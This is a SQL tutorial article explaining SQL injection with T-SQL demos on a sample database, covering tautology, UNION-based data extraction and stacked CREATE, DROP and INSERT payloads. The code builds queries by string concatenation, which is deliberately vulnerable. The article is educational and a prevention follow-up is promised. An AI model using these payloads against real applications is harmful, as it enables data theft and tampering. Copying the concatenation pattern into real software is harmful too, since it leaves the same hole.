SQL Injection is a well-known technique used to attack SQL-based applications. In this article, we’ll focus on examples showing how you could exploit database vulnerabilities using this technique, while in the next article we’ll talk about ways how you can protect your application from such attacks.
Data Model
In this article, we’ll use the same data model we’re using throughout this series, so there were no changes in the structure or data of tables, since last time.
The only thing we’ll do is add some new tables to prove we can do it using SQL injection, as well as delete these tables.
What is SQL Injection?
We’ve already mentioned it briefly, but let’s give a better description now. Let me quote w3schools.com here describing SQL injection:
- “… is a code injection technique that might destroy your database.”
- “… is one of the most common web hacking techniques.”
So, this is as bad as it sounds. In general, if you know how to do it and the site is vulnerable, you could perform a wide range of actions – from grabbing one or a few records to deleting the whole database.
The main idea behind such attacks is to detect parts of the application where you can perform such attacks (usually text boxes on forms) and populate them with values that would perform what you want. These inserted values, when combined with the query in the background, shall result in a query that will do what you want and not what the application owner planned.
We’ll take a look at a few examples, which are all similar but still different in the way how you’ll exploit application vulnerabilities.
SQL Injection in the WHERE clause
Placing an unwanted part of the code in the WHERE part of the query is the most common way how SQL injection is being done. Besides passing an argument/parameter in the expected format, you’ll simply add a little bit more “stuff” that will do the “dirty” work. Let’s take a look at a few examples.
In all our examples we’ll use dynamic SQL to simulate passing parameters to the query (applications similarly handle this). The @sql variable contains the query without parameter and the @id variable contains a parameter value.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
-- declare variables (for query and input parameters) DECLARE @sql NVARCHAR(MAX), @id NVARCHAR(MAX); -- run query without parameters SET @sql = N'SELECT * FROM customer'; EXEC sp_executesql @sql; -- run query using parameters(s) SET @id = N'2'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; -- run query using parameters(s) with added SQL injection code SET @id = N'2 OR 1 = 1'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; |
In the first query, I just wanted to show how dynamic SQL is declared and executed so the first query just returns all rows from the customer table. In this query parameters were not used.
The second query uses the parameter @id and the intention is that we pass only the id of the row we want to return. Notice that this parameter is declared as textual value – NVARCHAR(MAX). This is because parameters shall often be passed as textual values. As expected, the second result set returns only the row with the given id. So far, so good.
The third query is interesting to us. As a parameter we’ve passed ‘2 OR 1 = 1’. So, we have the value related to the desired row, but we’ve added OR 1 = 1. This condition always holds and therefore for each row in this table the whole condition shall be true and we’ll return all rows from the table.
All of the data in the database are valuable to you, but for the potential hacker, the data that shall be the most interesting are your business data, data related to your customers, and application users – either they are company employees either customers.
If we’re talking about passwords, one of the best ways to protect them is to store them coded as hash values. That way, even if someone gets access to these values, he won’t know the original password.
SQL Injection using UNION
Another common example of this technique is using UNION to join two datasets. In that case, the first dataset is probably not so interesting to us as much as the second one (pretty obvious because we’ve used UNION to add that set). Let’s see how this can be done.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
-- declare variables (for query and input parameters) DECLARE @sql NVARCHAR(MAX), @id NVARCHAR(MAX); -- run query using parameters(s) SET @id = N'2'; SET @sql = N'SELECT id, customer_name FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; -- run query using parameters(s) with added SQL injection code SET @id = N'2 UNION SELECT id, first_name + '' '' + last_name FROM employee'; SET @sql = N'SELECT id, customer_name FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; |
The first query returns exactly what should have been returned, and the second query is the one where malicious code had been used. Besides the parameter value, we’ve added the whole query – ‘2 UNION SELECT id, first_name + ” ” + last_name FROM employee’. This result set contains one row from the customer table and all rows from the employee table.
CREATE/DROP TABLE using SQL Injection
Previous queries were focused on reading data from the database. Still, this kind of attack is not limited only to reading the data. We can alter database objects too, performing DDL commands. We could perform any SQL command with the correct syntax (if the user/role assigned to the application user allows that – more about that in upcoming articles). Let’s now CREATE and DROP a table in our database.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
-- declare variables (for query and input parameters) DECLARE @sql NVARCHAR(MAX), @id NVARCHAR(MAX); -- run query using parameters(s) SET @id = N'2'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; -- run query using parameters(s) with added SQL injection code SET @id = N'2; CREATE TABLE sql_injection (id INT);'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; |
This example doesn’t differ much from the previous one. The only difference is the command we’ve decided to use here and that is the CREATE TABLE – ‘2; CREATE TABLE sql_injection (id INT);’. The only thing worth noticing here is that this table had been created in the database.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
-- declare variables (for query and input parameters) DECLARE @sql NVARCHAR(MAX), @id NVARCHAR(MAX); -- run query using parameters(s) SET @id = N'2'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; -- run query using parameters(s) with added SQL injection code SET @id = N'2; DROP TABLE sql_injection;'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; |
We’ve done the same thing as in the previous example, but this time, we haven’t created but dropped the previously created table.
INSERT/UPDATE/DELETE using SQL Injection
Similarly, to the previously mentioned, we can also perform DML commands like insert, update, and delete. We’ll make changes in the data, but the question is why we would do that!?
We could simply be “mean” and try to confuse the database users. Other than that, we could insert malicious values (e.g. create an admin account for ourselves) or add objects to the database where we’ll store the results of actions generated by the code we’ve altered.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
-- declare variables (for query and input parameters) DECLARE @sql NVARCHAR(MAX), @id NVARCHAR(MAX); -- run query using parameters(s) SET @id = N'2'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; -- run query using parameters(s) with added SQL injection code SET @id = N'2; INSERT INTO employee(first_name, last_name) VALUES(''sql'', ''injection'');'; SET @sql = N'SELECT * FROM customer WHERE id = ' + @id; EXEC sp_executesql @sql; SELECT * FROM employee; |
The first query returns exactly the desired customer. The second query, besides returning the selected customer, also inserts a new record to the employee table. With the last query, I’ve checked that the row had been inserted.
It seems that SQL injection is limited only by your imagination. And, of course, the security implemented in the application.
Conclusion
In this article, we learned what SQL injection is and how it works. In the next article, we’ll talk about a way how to prevent such attacks in your application. There are a few ways to do that, but we’ll combine what we’ve learned so far in this series, including stored procedures and functions, and see how to use that knowledge to prevent these attacks.
Table of contents
His past and present engagements vary from database design and coding to teaching, consulting, and writing about databases. Also not to forget, BI, creating algorithms, chess, philately, 2 dogs, 2 cats, 1 wife, 1 baby...
You can find him on LinkedIn
View all posts by Emil Drkusic
- Learn SQL: How to prevent SQL Injection attacks - May 17, 2021
- Learn SQL: Dynamic SQL - March 3, 2021
- Learn SQL: SQL Injection - November 2, 2020